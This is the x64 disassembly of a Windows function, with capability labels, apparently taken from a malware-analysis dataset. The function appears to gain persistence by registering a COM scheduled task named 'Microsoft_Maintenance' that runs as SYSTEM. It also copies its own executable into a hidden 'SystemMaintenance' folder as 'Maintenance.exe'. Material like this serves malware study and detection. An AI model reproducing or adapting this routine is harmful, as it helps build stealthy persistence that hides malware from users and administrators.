Function at 0x1400ce7f9
Capabilities:
Copy file
Create directory
Get common file path
Set file attributes

Disassembly:
jmp 0x1400e2910
push rbp
push rsi
push rdi
mov eax, 0x1720
call fcn.1400cb027
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x434
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0x16c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e2965
mov eax, 1
jmp 0x1400e3ad5
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e29bb
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
lea rax, str.Microsoft_Maintenance
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x48], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [0x140280238]
mov r8d, 1
xor edx, edx
lea rcx, [0x1402804a8]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e2a0c
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x1678], rax
lea rcx, [rbp + 0xd78]
call fcn.1400cb3b0
mov qword [rbp + 0x1680], rax
mov rax, qword [rbp + 0x1680]
mov qword [rbp + 0x1688], rax
lea rax, [rbp + 0xd48]
mov rdi, rax
mov rsi, qword [rbp + 0x1688]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xfb8]
lea rcx, [rbp + 0xd48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1078]
lea rcx, [rbp + 0xfb8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x10d8]
lea rcx, [rbp + 0x1078]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1198]
lea rcx, [rbp + 0x10d8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0xdd8]
call fcn.1400cb3b0
mov qword [rbp + 0x1690], rax
mov rax, qword [rbp + 0x1690]
mov qword [rbp + 0x1698], rax
lea rax, [rbp + 0xda8]
mov rdi, rax
mov rsi, qword [rbp + 0x1698]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xf58]
lea rcx, [rbp + 0xda8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1018]
lea rcx, [rbp + 0xf58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x10a8]
lea rcx, [rbp + 0x1018]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1168]
lea rcx, [rbp + 0x10a8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0xe38]
call fcn.1400cb3b0
mov qword [rbp + 0x16a0], rax
mov rax, qword [rbp + 0x16a0]
mov qword [rbp + 0x16a8], rax
lea rax, [rbp + 0xe08]
mov rdi, rax
mov rsi, qword [rbp + 0x16a8]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xef8]
lea rcx, [rbp + 0xe08]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xfe8]
lea rcx, [rbp + 0xef8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1048]
lea rcx, [rbp + 0xfe8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1138]
lea rcx, [rbp + 0x1048]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0xe98]
call fcn.1400cb3b0
mov qword [rbp + 0x16b0], rax
mov rax, qword [rbp + 0x16b0]
mov qword [rbp + 0x16b8], rax
lea rax, [rbp + 0xe68]
mov rdi, rax
mov rsi, qword [rbp + 0x16b8]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xec8]
lea rcx, [rbp + 0xe68]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xf28]
lea rcx, [rbp + 0xec8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xf88]
lea rcx, [rbp + 0xf28]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1108]
lea rcx, [rbp + 0xf88]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1590]
lea rcx, [rbp + 0x1198]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1550]
lea rcx, [rbp + 0x1168]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1510]
lea rcx, [rbp + 0x1138]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x14d0]
lea rcx, [rbp + 0x1108]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1590]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1550]
lea r8, [rbp + 0x1510]
lea rdx, [rbp + 0x14d0]
mov rcx, qword [rbp + 0x48]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
lea rcx, [rbp + 0xe98]
call fcn.1400ce1aa
nop
lea rcx, [rbp + 0xe38]
call fcn.1400ce1aa
nop
lea rcx, [rbp + 0xdd8]
call fcn.1400ce1aa
nop
lea rcx, [rbp + 0xd78]
call fcn.1400ce1aa
cmp dword [rbp + 4], 0
jge 0x1400e2da3
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0x68], 0
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rax, qword [rax + 0x38]
mov qword [rbp + 0x1678], rax
lea rdx, [0x140279c9c]
lea rcx, [rbp + 0x11c8]
call fcn.1400cf1a4
mov qword [rbp + 0x1680], rax
mov rax, qword [rbp + 0x1680]
mov qword [rbp + 0x1688], rax
mov rcx, qword [rbp + 0x1688]
call fcn.1400cf98d
mov qword [rbp + 0x1690], rax
lea r8, [rbp + 0x68]
mov rdx, qword [rbp + 0x1690]
mov rcx, qword [rbp + 0x48]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
lea rcx, [rbp + 0x11c8]
call fcn.1400cec9a
cmp dword [rbp + 4], 0
jge 0x1400e2e40
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rax, qword [rax + 0x78]
mov qword [rbp + 0x1678], rax
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x11e8]
call fcn.1400cf1a4
mov qword [rbp + 0x1680], rax
mov rax, qword [rbp + 0x1680]
mov qword [rbp + 0x1688], rax
mov rcx, qword [rbp + 0x1688]
call fcn.1400cf98d
mov qword [rbp + 0x1690], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x1690]
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x1678]
nop
lea rcx, [rbp + 0x11e8]
call fcn.1400cec9a
mov qword [rbp + 0x88], 0
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x1678], rax
lea r8, [rbp + 0x88]
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x10]
cmp dword [rbp + 4], 0
jge 0x1400e2f10
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0xa8], 0
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rax, qword [rax + 0x38]
mov qword [rbp + 0x1678], rax
lea rdx, [rbp + 0xa8]
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e2f7f
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov rax, qword [rbp + 0xa8]
mov rax, qword [rax]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x1678], rax
lea rdx, [0x140279ca0]
lea rcx, [rbp + 0x1208]
call fcn.1400cd4c1
mov qword [rbp + 0x1680], rax
mov rax, qword [rbp + 0x1680]
mov qword [rbp + 0x1688], rax
mov rcx, qword [rbp + 0x1688]
call fcn.1400cf98d
mov qword [rbp + 0x1690], rax
mov rdx, qword [rbp + 0x1690]
mov rcx, qword [rbp + 0xa8]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
lea rcx, [rbp + 0x1208]
call fcn.1400cec9a
mov rax, qword [rbp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xa8]
call qword [rax + 0x10]
cmp dword [rbp + 4], 0
jge 0x1400e303e
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0xc8], 0
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rax, qword [rax + 0x58]
mov qword [rbp + 0x1678], rax
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e30ad
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov rax, qword [rax + 0x130]
mov qword [rbp + 0x1678], rax
mov dx, 0xffff
mov rcx, qword [rbp + 0xc8]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e3125
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xc8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0xe8], 0
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rax, qword [rax + 0x78]
mov qword [rbp + 0x1678], rax
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e3191
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
jmp 0x1400e3ad5
mov rax, qword [rbp + 0xe8]
mov rax, qword [rax]
mov rax, qword [rax + 0x90]
mov qword [rbp + 0x1678], rax
mov edx, 1
mov rcx, qword [rbp + 0xe8]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0xe8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xe8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov rax, qword [rax + 0xb0]
mov qword [rbp + 0x1678], rax
mov dx, 0xffff
mov rcx, qword [rbp + 0xc8]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xc8]
call qword [rax + 0x10]
cmp dword [rbp + 4], 0
jge 0x1400e324a
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0x108], 0
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x1678], rax
lea rdx, [rbp + 0x108]
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e32b9
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0x128], 0
mov rax, qword [rbp + 0x108]
mov rax, qword [rax]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x1678], rax
lea r8, [rbp + 0x128]
mov edx, 8
mov rcx, qword [rbp + 0x108]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x108]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x108]
call qword [rax + 0x10]
cmp dword [rbp + 4], 0
jge 0x1400e3341
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0x148], 0
mov rax, qword [rbp + 0x128]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rbp + 0x1678], rax
lea r8, [rbp + 0x148]
lea rdx, [0x1402803e8]
mov rcx, qword [rbp + 0x128]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x128]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x128]
call qword [rax + 0x10]
cmp dword [rbp + 4], 0
jge 0x1400e33ca
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x1678], rax
lea rdx, [0x140279cc0]
lea rcx, [rbp + 0x1228]
call fcn.1400cf1a4
mov qword [rbp + 0x1680], rax
mov rax, qword [rbp + 0x1680]
mov qword [rbp + 0x1688], rax
mov rcx, qword [rbp + 0x1688]
call fcn.1400cf98d
mov qword [rbp + 0x1690], rax
mov rdx, qword [rbp + 0x1690]
mov rcx, qword [rbp + 0x148]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
lea rcx, [rbp + 0x1228]
call fcn.1400cec9a
mov qword [rbp + 0x168], 0
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rax, qword [rax + 0x88]
mov qword [rbp + 0x1678], rax
lea rdx, [rbp + 0x168]
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400e34af
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0x188], 0
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rax, qword [rax + 0x60]
mov qword [rbp + 0x1678], rax
lea r8, [rbp + 0x188]
xor edx, edx
mov rcx, qword [rbp + 0x168]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
cmp dword [rbp + 4], 0
jge 0x1400e3534
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0x1a8], 0
mov rax, qword [rbp + 0x188]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rbp + 0x1678], rax
lea r8, [rbp + 0x1a8]
lea rdx, str.MbLk
mov rcx, qword [rbp + 0x188]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
call qword [rax + 0x10]
cmp dword [rbp + 4], 0
jge 0x1400e35bd
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov r8d, 0x104
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp + 0x400]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x23
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.SystemMaintenance
lea rcx, [rbp + 0x400]
call fcn.1400cbf95
xor edx, edx
lea rcx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400e3623
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x624], eax
mov edx, 2
lea rcx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dx, 0x5c
lea rcx, [rbp + 0x1d0]
call fcn.1400ca037
mov qword [rbp + 0x648], rax
lea rcx, [rbp + 0x400]
call fcn.1400ca5d7
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
movzx eax, word [rbp + rax*2 + 0x3fe]
cmp eax, 0x5c
je 0x1400e3686
lea rdx, [0x140279c9c]
lea rcx, [rbp + 0x400]
call fcn.1400cbf95
lea rdx, str.Maintenance.exe
lea rcx, [rbp + 0x400]
call fcn.1400cbf95
xor r8d, r8d
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x1400e370c
lea rax, [rbp + 0x688]
mov rdi, rax
xor eax, eax
mov ecx, 0x38
rep stosb byte [rdi], al
mov dword [rbp + 0x690], 2
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x698], rax
lea rax, [rbp + 0x400]
mov qword [rbp + 0x6a0], rax
mov eax, 0x14
mov word [rbp + 0x6a8], ax
lea rcx, [rbp + 0x688]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rbp + 0x6d4], eax
mov rax, qword [rbp + 0x1a8]
mov rax, qword [rax]
mov rax, qword [rax + 0x58]
mov qword [rbp + 0x1678], rax
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1248]
call fcn.1400cf1a4
mov qword [rbp + 0x1680], rax
mov rax, qword [rbp + 0x1680]
mov qword [rbp + 0x1688], rax
mov rcx, qword [rbp + 0x1688]
call fcn.1400cf98d
mov qword [rbp + 0x1690], rax
mov rdx, qword [rbp + 0x1690]
mov rcx, qword [rbp + 0x1a8]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
lea rcx, [rbp + 0x1248]
call fcn.1400cec9a
mov rax, qword [rbp + 0x1a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1a8]
call qword [rax + 0x10]
cmp dword [rbp + 4], 0
jge 0x1400e37cb
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov qword [rbp + 0x6f8], 0
xor eax, eax
mov word [rbp + 0x718], ax
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rax, qword [rax + 0x88]
mov qword [rbp + 0x1678], rax
lea rdx, [0x140278ddc]
lea rcx, [rbp + 0x1298]
call fcn.1400ca852
mov qword [rbp + 0x1680], rax
mov rax, qword [rbp + 0x1680]
mov qword [rbp + 0x1688], rax
lea rax, [rbp + 0x1268]
mov rdi, rax
mov rsi, qword [rbp + 0x1688]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1378]
lea rcx, [rbp + 0x1268]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x13d8]
lea rcx, [rbp + 0x1378]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1438]
lea rcx, [rbp + 0x13d8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1498]
lea rcx, [rbp + 0x1438]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rdx, str.SYSTEM
lea rcx, [rbp + 0x12f8]
call fcn.1400ca852
mov qword [rbp + 0x1690], rax
mov rax, qword [rbp + 0x1690]
mov qword [rbp + 0x1698], rax
lea rax, [rbp + 0x12c8]
mov rdi, rax
mov rsi, qword [rbp + 0x1698]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1348]
lea rcx, [rbp + 0x12c8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x13a8]
lea rcx, [rbp + 0x1348]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1408]
lea rcx, [rbp + 0x13a8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1468]
lea rcx, [rbp + 0x1408]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x16a0], rax
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x1328]
call fcn.1400cf1a4
mov qword [rbp + 0x16a8], rax
mov rax, qword [rbp + 0x16a8]
mov qword [rbp + 0x16b0], rax
mov rcx, qword [rbp + 0x16b0]
call fcn.1400cf98d
mov qword [rbp + 0x16b8], rax
lea rax, [rbp + 0x1650]
lea rcx, [rbp + 0x1498]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1610]
lea rcx, [rbp + 0x718]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x15d0]
lea rcx, [rbp + 0x1468]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x6f8]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x1650]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 4
lea rax, [rbp + 0x1610]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x15d0]
mov qword [rsp + 0x20], rax
mov r9d, 6
mov r8, qword [rbp + 0x16a0]
mov rdx, qword [rbp + 0x16b8]
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x1678]
mov dword [rbp + 4], eax
lea rcx, [rbp + 0x1328]
call fcn.1400cec9a
nop
lea rcx, [rbp + 0x12f8]
call fcn.1400ce1aa
nop
lea rcx, [rbp + 0x1298]
call fcn.1400ce1aa
cmp dword [rbp + 4], 0
jge 0x1400e3a97
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400e3ad5
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x6f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x6f8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140276950]
call fcn.1400cea88
mov rax, rdi
mov rcx, qword [rbp + 0x16c0]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0x16d0]
pop rdi
pop rsi
pop rbp
ret